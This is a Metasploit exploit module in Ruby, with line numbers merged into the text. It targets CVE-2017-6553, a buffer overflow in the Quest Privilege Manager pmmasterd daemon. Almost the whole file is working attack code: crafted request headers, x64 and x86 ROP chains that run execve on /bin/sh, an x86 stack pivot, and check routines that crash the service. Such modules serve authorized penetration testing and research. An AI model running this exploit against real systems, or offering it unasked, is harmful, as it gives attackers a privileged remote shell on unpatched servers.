Path: blob/master/modules/exploits/linux/misc/quest_pmmasterd_bof.rb
19778 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Exploit::Remote::Tcp910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Quest Privilege Manager pmmasterd Buffer Overflow',15'Description' => %q{16This modules exploits a buffer overflow in the Quest Privilege Manager,17a software used to integrate Active Directory with Linux and Unix18systems. The vulnerability exists in the pmmasterd daemon, and can only19triggered when the host has been configured as a policy server (20Privilege Manager for Unix or Quest Sudo Plugin). A buffer overflow21condition exists when handling requests of type ACT_ALERT_EVENT, where22the size of a memcpy can be controlled by the attacker. This module23only works against version < 6.0.0-27. Versions up to 6.0.0-50 are also24vulnerable, but not supported by this module (a stack cookie bypass is25required). NOTE: To use this module it is required to be able to bind a26privileged port ( <=1024 ) as the server refuses connections coming27from unprivileged ports, which in most situations means that root28privileges are required.29},30'Author' => [31'm0t'32],33'References' => [34['CVE', '2017-6553'],35['URL', 'https://0xdeadface.wordpress.com/2017/04/07/multiple-vulnerabilities-in-quest-privilege-manager-6-0-0-xx-cve-2017-6553-cve-2017-6554/']36],37'Payload' => {38'Compat' =>39{40'PayloadType' => 'cmd_interact',41'ConnectionType' => 'find'42}43},44'Arch' => ARCH_CMD,45'Platform' => 'unix',46'Targets' => [47[48'Quest Privilege Manager pmmasterd 6.0.0-27 x64',49{50exploit: :exploit_x64,51check: :check_x6452}53],54[55'Quest Privilege Manager pmmasterd 6.0.0-27 x86',56{57exploit: :exploit_x86,58check: :check_x8659}60]61],62'Privileged' => true,63'DisclosureDate' => '2017-04-09',64'DefaultTarget' => 0,65'Notes' => {66'Reliability' => UNKNOWN_RELIABILITY,67'Stability' => UNKNOWN_STABILITY,68'SideEffects' => UNKNOWN_SIDE_EFFECTS69}70)71)7273register_options(74[75Opt::RPORT(12345),76Opt::CPORT(rand(1024))77]78)79end8081# definitely not stealthy! sends a crashing request, if the socket dies, or82# the output is partial it assumes the target has crashed. Although the83# daemon spawns a new process for each connection, the segfault will appear84# on syslog85def check86unless respond_to?(target[:check], true)87fail_with(Failure::NoTarget, "Invalid target specified")88end8990send(target[:check])91end9293def exploit94unless respond_to?(target[:exploit], true)95fail_with(Failure::NoTarget, "Invalid target specified")96end9798request = send(target[:exploit])99100connect101print_status("Sending trigger")102sock.put(request)103sock.get_once104handler(sock)105disconnect106end107108# server should crash after parsing the packet, partial output is returned109def check_x64110head = [ 0x26c ].pack("N")111head << [ 0x700 ].pack("N")112head << [ 0x700 ].pack("N")113head << "\x00" * 68114115body = "PingE4.6 .0.0.27"116body << rand_text_alpha(3000)117118request = head + body119120connect121print_status("Sending trigger")122sock.put(request)123res = sock.timed_read(1024, 1)124if res.match? "Pong4$"125return Exploit::CheckCode::Appears126else127return Exploit::CheckCode::Unknown128end129end130131# server should crash while parsing the packet, with no output132def check_x86133head = [ 0x26c ].pack("N")134head << [ 0x700 ].pack("N")135head << [ 0x700 ].pack("N")136head << "\x00" * 68137138body = rand_text_alpha(3000)139140request = head + body141142connect143print_status("Sending trigger")144sock.put(request)145begin146sock.timed_read(1024, 1)147return Exploit::CheckCode::Unknown148rescue ::Exception149return Exploit::CheckCode::Appears150end151end152153def exploit_x64154head = [ 0x26c ].pack("N")155head << [ 0x700 ].pack("N")156head << [ 0x700 ].pack("N")157head << "\x00" * 68158159# rop chain for pmmasterd 6.0.0.27 (which is compiled without -fPIE)160ropchain = [1610x408f88, # pop rdi, ret1620x4FA215, # /bin/sh1630x40a99e, # pop rsi ; ret1640, # argv @rsi1650x40c1a0, # pop rax, ret1660, # envp @rax1670x48c751, # mov rdx, rax ; pop rbx ; mov rax, rdx ; ret1680xcacc013, # padding1690x408a98, # execve,1700171].pack("Q*")172173body = "PingE4.6 .0.0.27" # this works if encryption is set to AES, which is default, changing E4 to E2 might make it work with DES174body << rand_text_alpha(1600)175body << ropchain176body << rand_text_alpha(0x700 - body.size)177178head + body179end180181def exploit_x86182head = [ 0x26c ].pack("N")183head << [ 0x108 ].pack("N")184head << [ 0xcc ].pack("N")185head << "\x00" * 68186187# rop chain for pmmasterd 6.0.0.27 (which is compiled without -fPIE)188ropchain = [1890x8093262, # ret1900x73, # cs reg1910x804AE2C, # execve,1920xcacc013, # padding1930x8136CF0, # /bin/sh1940,1950196].pack("V*")197198pivotback = 0x08141223 # sub esp, ebx ; retf199writable = 0x81766f8 # writable loc200201body = "PingE4.6 .0.0.27" # this works if encryption is set to AES, which is default, changing E4 to E2 might make it work with DES202body << rand_text_alpha(104)203body << ropchain204body << rand_text_alpha(0xb4 - body.size)205body << [0x50].pack("V")206body << rand_text_alpha(0xc4 - body.size)207body << [pivotback].pack("V")208body << [writable].pack("V")209body << rand_text_alpha(0x108 - body.size)210211head + body212end213end214215216